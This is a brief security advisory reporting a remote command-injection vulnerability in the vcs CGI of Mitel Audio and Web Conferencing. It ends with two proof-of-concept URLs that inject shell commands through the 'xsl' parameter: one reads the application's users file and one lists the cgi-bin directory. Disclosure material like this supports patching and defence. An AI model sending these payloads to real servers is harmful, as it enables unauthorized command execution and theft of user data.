source: http://www.securityfocus.com/bid/45537/info

Mitel Audio and Web Conferencing (AWC) is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.

Remote attackers can exploit this issue to execute arbitrary shell commands with the privileges of the user running the application. 

http://www.example.com/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26cat%20%22/usr/awc/www/users%22%26
http://www.example.com/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26ls%20%22/usr/awc/www/cgi-bin/%22%26